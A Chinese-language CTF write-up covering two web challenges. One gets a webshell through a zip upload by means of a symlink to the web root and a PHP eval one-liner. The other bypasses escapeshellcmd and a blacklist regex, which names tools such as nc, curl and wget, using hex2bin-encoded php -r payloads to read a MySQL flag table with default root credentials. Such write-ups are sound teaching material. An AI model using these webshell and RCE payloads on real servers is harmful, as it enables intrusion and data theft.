Unzip
软连接
软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。换句话说,也可以理解成Windows中的快捷方式
注意:在创建软连接的文件的所有目录下不能有重名的文件
打开环境,是文件上传,扫描一下后台看看有没有源码
扫描发现存在upload.php,查看一下(去大佬哪里copy一下源码的解释)
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
//这里是验证MIME值,确定上传的文件类型为zip,同时也为我们指明了方向,要上传一个zip压缩包。
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
//这里的意思是进入/tmp目录下,然后调用unzip命令对压缩包进行解压,也就是把压缩包解压到/tmp目录下。 unzip -o是用来覆盖已经存在的变量的;$_FILES["file"]["tmp_name"]是一个超全局变量,用来存储上传文件在服务器上的临时文件名
};
//only this!
既然是文件上传而且已知上传的类型,应该上传带码的zip文件来getshell,但是题目将zip放到tmp下解压,这样即使我们上传了码也是不能getshell,因为访问不了tmp目录 ;但是我们可以访问网站的根目录(默认为/var/www/html),所以就涉及到软连接,通过软连接使得在tmp目录中指向/var/www/html
软连接在linux中创建
创建软连接命令
ln -s [dir1] [dir2] #dir1是真实的文件夹,dir2是dir1的软链接。
翻译一下就是dir2是dir1的快捷方式
先创建一个文件夹,进入文件夹后创建软连接
ln -s /var/www/html link #创建名为link的软连接
zip --symlinks link.zip link #压缩软连接
现在存在一个link文件夹,删除link文件夹,因为我们还需要创建一个带码的zip文件,并且要和软连接相同名字命名为link1.zip
进入到新创建的link文件夹中,创建一个写入码的shell.php
echo '<?php @eval($_GET["cmd"]);?>'>shell.php
这里的一句话木马中的参数要注意一下,不然可能上传后会报错,说参数没有定义(怎么避免自己看吧)
退回上级目录,将link压缩为zip文件
zip -r link1.zip ./*
分别上传link.zip和link1.zip,访问shell.php页面进行命令执行
simple_php
这是今年的国赛题,涉及到利用进制转换来进行RCE,在19年的国赛中也是出现过类似的题目,只是这次一时间没有想到这个点
先认识两个函数:hex2bin,bin2hex
hex2bin:把16进制转换为ACill码
bin2hex:把ACill码转换为16进制
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
先分析源码,存在三个需要绕过的地方,open_basedir,escapeshellcmd,preg_match,
先单独进行分析,首先来分析open_basedir
open_basedir是php.ini中的配置文件,可以限制用户访问文件的范围,例如本题,就限制了用户在php脚本中只能访问/var/www/html下的文件
绕过方法1.open_basedir对于命令执行没有限制,可以通过命令执行绕过(sytem('ls ')等)
2.使用软连接绕过,使用软连接可以指向我们可以访问的目录或者文件下
3.glob协议绕过
更详细的可以去多多了解
分析escapeshellcmd
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义;
反斜线(\)会在以下字符之前插入: &#;`|\ ?~<>^()[]{}$*, \x0A 和 \xFF*。 *' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
当出现这个函数时,如果我们想要用命令执行来绕过open_basedir,就会被过滤,所以怎样绕过是我们要思考的
最后的正则匹配过滤了大部分的命令执行,还有一些符号,三个函数可以说过滤了很多绕过方式,编码绕过的话,有特殊字符会被转义,命令执行被正则过滤或者转义
在三个函数中,最主要的是绕过转义,绕过转义之后,其他两个我们都能简单绕过
那么既能够不被转义,又能不被匹配,还是命令执行的,我们可以用进制转换来试一试
在十六进制中,只存在数字和字母,不会被转义,还能进制转换后绕过正则
开始构造payload
源码中有system,应该先考虑命令执行
cmd=system('ls');
进行进制转换
system('ls')=>73797374656d28276c7327293b
hex2bin("73797374656d28276c7327293b")
转为16进制的字符串在用hex2bin函数转为acill码时,需要引号包裹,但是引号被过滤了,可以使用"_"来让16进制被识别为字符串,再用substr,把下划线去掉进行进制转换
hex2bin(substr(_73797374656d28276c7327293b,1))
php -r执行php代码,执行后得到system('ls');,再system(),进行命令执行
cmd=php -r eval(hex2bin(substr(_73797374656d28276c7327293b,1)));
查看flag,发现目录下没有flag文件,到数据库中查询
登录数据库,用户密码默认root,- e执行相关的sql操作
echo `mysql -u root -p'root' -e 'use PHP_CMS;show databases;'`;(php_cms是数据库内容管理系统)
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77206461746162617365733b27603b,1)));
查表
echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));
查表中内容
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
[CISCN 2019 初赛]Love Math
这题也是利用进制转换,不过禁用了hex2bin,用base_convert来进制转换绕过就行
base_convert() 函数在任意进制之间转换数字
语法
base_convert(原本数字,之前的进制,需要转化的进制)